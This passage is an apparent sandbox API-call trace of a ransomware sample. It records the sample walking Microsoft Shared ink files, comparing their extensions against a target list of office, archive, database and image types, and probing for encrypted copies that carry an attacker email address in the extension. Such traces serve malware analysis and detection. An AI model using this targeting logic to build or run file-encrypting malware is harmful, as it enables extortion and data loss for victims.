dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.892] lstrlenW (lpString=".doc") returned 4 [0072.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString=".docx") returned 5 [0072.893] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0072.893] lstrlenW (lpString=".pdf") returned 4 [0072.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString=".xls") returned 4 [0072.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString=".xlsx") returned 5 [0072.893] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0072.893] lstrlenW (lpString=".ppt") returned 4 [0072.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.893] lstrlenW (lpString=".zip") returned 4 [0072.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.893] lstrlenW (lpString=".rar") returned 4 [0072.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.893] lstrlenW (lpString=".bz2") returned 4 [0072.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.894] lstrlenW (lpString=".7z") returned 3 [0072.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.894] lstrlenW (lpString=".dbf") returned 4 [0072.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.894] lstrlenW (lpString=".1cd") returned 4 [0072.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.894] lstrlenW (lpString=".jpg") returned 4 [0072.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.895] lstrlenW (lpString=".doc") returned 4 [0072.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.895] lstrlenW (lpString=".docx") returned 5 [0072.895] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0072.895] lstrlenW (lpString=".pdf") returned 4 [0072.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.895] lstrlenW (lpString=".xls") returned 4 [0072.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.895] lstrlenW (lpString=".xlsx") returned 5 [0072.895] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0072.895] lstrlenW (lpString=".ppt") returned 4 [0072.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.895] lstrlenW (lpString=".zip") returned 4 [0072.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.895] lstrlenW (lpString=".rar") returned 4 [0072.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.896] lstrlenW (lpString=".bz2") returned 4 [0072.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.896] lstrlenW (lpString=".7z") returned 3 [0072.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.896] lstrlenW (lpString=".dbf") returned 4 [0072.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.896] lstrlenW (lpString=".1cd") returned 4 [0072.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0072.896] lstrlenW (lpString=".jpg") returned 4 [0072.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.897] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.897] lstrlenW (lpString="base_jpn.xml") returned 12 [0072.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.898] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=804) returned 1 [0072.898] CloseHandle (hObject=0x1c8) returned 1 [0072.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0072.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0072.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0072.899] lstrlenW (lpString=".doc") returned 4 [0072.899] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.899] lstrlenW (lpString=".docx") returned 5 [0072.899] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0072.899] lstrlenW (lpString=".pdf") returned 4 [0072.899] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.899] lstrlenW (lpString=".xls") returned 4 [0072.899] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.899] lstrlenW (lpString=".xlsx") returned 5 [0072.899] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0072.899] lstrlenW (lpString=".ppt") returned 4 [0072.899] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0072.899] lstrlenW (lpString=".zip") returned 4 [0072.899] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.900] lstrlenW (lpString=".rar") returned 4 [0072.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.900] lstrlenW (lpString=".bz2") returned 4 [0072.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.900] lstrlenW (lpString=".7z") returned 3 [0072.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0072.900] lstrlenW (lpString=".dbf") returned 4 [0072.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0072.900] lstrlenW (lpString=".1cd") returned 4 [0072.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0072.900] lstrlenW (lpString=".jpg") returned 4 [0072.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0072.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0072.901] lstrlenW (lpString=".doc") returned 4 [0072.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.901] lstrlenW (lpString=".docx") returned 5 [0072.901] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0072.901] lstrlenW (lpString=".pdf") returned 4 [0072.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.901] lstrlenW (lpString=".xls") returned 4 [0072.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.901] lstrlenW (lpString=".xlsx") returned 5 [0072.901] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0072.901] lstrlenW (lpString=".ppt") returned 4 [0073.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0073.327] lstrlenW (lpString=".zip") returned 4 [0073.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.327] lstrlenW (lpString=".rar") returned 4 [0073.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.327] lstrlenW (lpString=".bz2") returned 4 [0073.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.327] lstrlenW (lpString=".7z") returned 3 [0073.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0073.328] lstrlenW (lpString=".dbf") returned 4 [0073.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0073.328] lstrlenW (lpString=".1cd") returned 4 [0073.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0073.328] lstrlenW (lpString=".jpg") returned 4 [0073.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.329] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0073.329] lstrlenW (lpString="zh-dayi.xml") returned 11 [0073.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0074.946] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=11067) returned 1 [0074.946] CloseHandle (hObject=0x1e4) returned 1 [0074.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0074.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0074.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.947] lstrlenW (lpString=".doc") returned 4 [0074.947] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.947] lstrlenW (lpString=".docx") returned 5 [0074.947] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0074.947] lstrlenW (lpString=".pdf") returned 4 [0074.947] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.947] lstrlenW (lpString=".xls") returned 4 [0074.947] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.953] lstrlenW (lpString=".xlsx") returned 5 [0074.953] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0074.953] lstrlenW (lpString=".ppt") returned 4 [0074.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.954] lstrlenW (lpString=".zip") returned 4 [0074.954] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.954] lstrlenW (lpString=".rar") returned 4 [0074.954] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.954] lstrlenW (lpString=".bz2") returned 4 [0074.954] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.954] lstrlenW (lpString=".7z") returned 3 [0074.954] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.954] lstrlenW (lpString=".dbf") returned 4 [0074.954] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.955] lstrlenW (lpString=".1cd") returned 4 [0074.955] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.955] lstrlenW (lpString=".jpg") returned 4 [0074.955] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.955] lstrlenW (lpString=".doc") returned 4 [0074.955] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.955] lstrlenW (lpString=".docx") returned 5 [0074.955] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0074.956] lstrlenW (lpString=".pdf") returned 4 [0074.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.956] lstrlenW (lpString=".xls") returned 4 [0074.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.956] lstrlenW (lpString=".xlsx") returned 5 [0074.956] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0074.956] lstrlenW (lpString=".ppt") returned 4 [0074.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.956] lstrlenW (lpString=".zip") returned 4 [0074.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.956] lstrlenW (lpString=".rar") returned 4 [0074.956] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.956] lstrlenW (lpString=".bz2") returned 4 [0074.956] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.957] lstrlenW (lpString=".7z") returned 3 [0074.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.957] lstrlenW (lpString=".dbf") returned 4 [0074.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.957] lstrlenW (lpString=".1cd") returned 4 [0074.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0074.957] lstrlenW (lpString=".jpg") returned 4 [0074.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.958] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.958] lstrlenW (lpString="symbols.xml") returned 11 [0074.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.409] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=591) returned 1 [0075.409] CloseHandle (hObject=0x1c8) returned 1 [0075.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0075.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.410] lstrlenW (lpString=".doc") returned 4 [0075.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.410] lstrlenW (lpString=".docx") returned 5 [0075.410] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0075.410] lstrlenW (lpString=".pdf") returned 4 [0075.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.410] lstrlenW (lpString=".xls") returned 4 [0075.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.411] lstrlenW (lpString=".xlsx") returned 5 [0075.411] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0075.411] lstrlenW (lpString=".ppt") returned 4 [0075.411] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.411] lstrlenW (lpString=".zip") returned 4 [0075.411] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.411] lstrlenW (lpString=".rar") returned 4 [0075.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.411] lstrlenW (lpString=".bz2") returned 4 [0075.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.411] lstrlenW (lpString=".7z") returned 3 [0075.411] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.411] lstrlenW (lpString=".dbf") returned 4 [0075.411] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.412] lstrlenW (lpString=".1cd") returned 4 [0075.412] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.412] lstrlenW (lpString=".jpg") returned 4 [0075.412] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.412] lstrlenW (lpString=".doc") returned 4 [0075.412] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.412] lstrlenW (lpString=".docx") returned 5 [0075.413] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0075.413] lstrlenW (lpString=".pdf") returned 4 [0075.413] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.413] lstrlenW (lpString=".xls") returned 4 [0075.413] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.413] lstrlenW (lpString=".xlsx") returned 5 [0075.414] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0075.414] lstrlenW (lpString=".ppt") returned 4 [0075.414] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.414] lstrlenW (lpString=".zip") returned 4 [0075.414] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.414] lstrlenW (lpString=".rar") returned 4 [0075.414] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.414] lstrlenW (lpString=".bz2") returned 4 [0075.414] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.414] lstrlenW (lpString=".7z") returned 3 [0075.414] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.414] lstrlenW (lpString=".dbf") returned 4 [0075.415] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.415] lstrlenW (lpString=".1cd") returned 4 [0075.415] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0075.415] lstrlenW (lpString=".jpg") returned 4 [0075.415] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.435] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0075.435] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0075.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0075.436] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1100368) returned 1 [0075.436] CloseHandle (hObject=0x1e4) returned 1 [0075.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0075.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.437] lstrlenW (lpString=".doc") returned 4 [0075.437] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.437] lstrlenW (lpString=".docx") returned 5 [0075.437] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0075.437] lstrlenW (lpString=".pdf") returned 4 [0075.437] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.437] lstrlenW (lpString=".xls") returned 4 [0075.437] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.437] lstrlenW (lpString=".xlsx") returned 5 [0075.438] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0075.438] lstrlenW (lpString=".ppt") returned 4 [0075.438] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.438] lstrlenW (lpString=".zip") returned 4 [0075.438] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.438] lstrlenW (lpString=".rar") returned 4 [0075.438] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.438] lstrlenW (lpString=".bz2") returned 4 [0075.438] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.438] lstrlenW (lpString=".7z") returned 3 [0075.438] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.439] lstrlenW (lpString=".dbf") returned 4 [0075.439] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0075.439] lstrlenW (lpString=".1cd") returned 4 [0075.439] 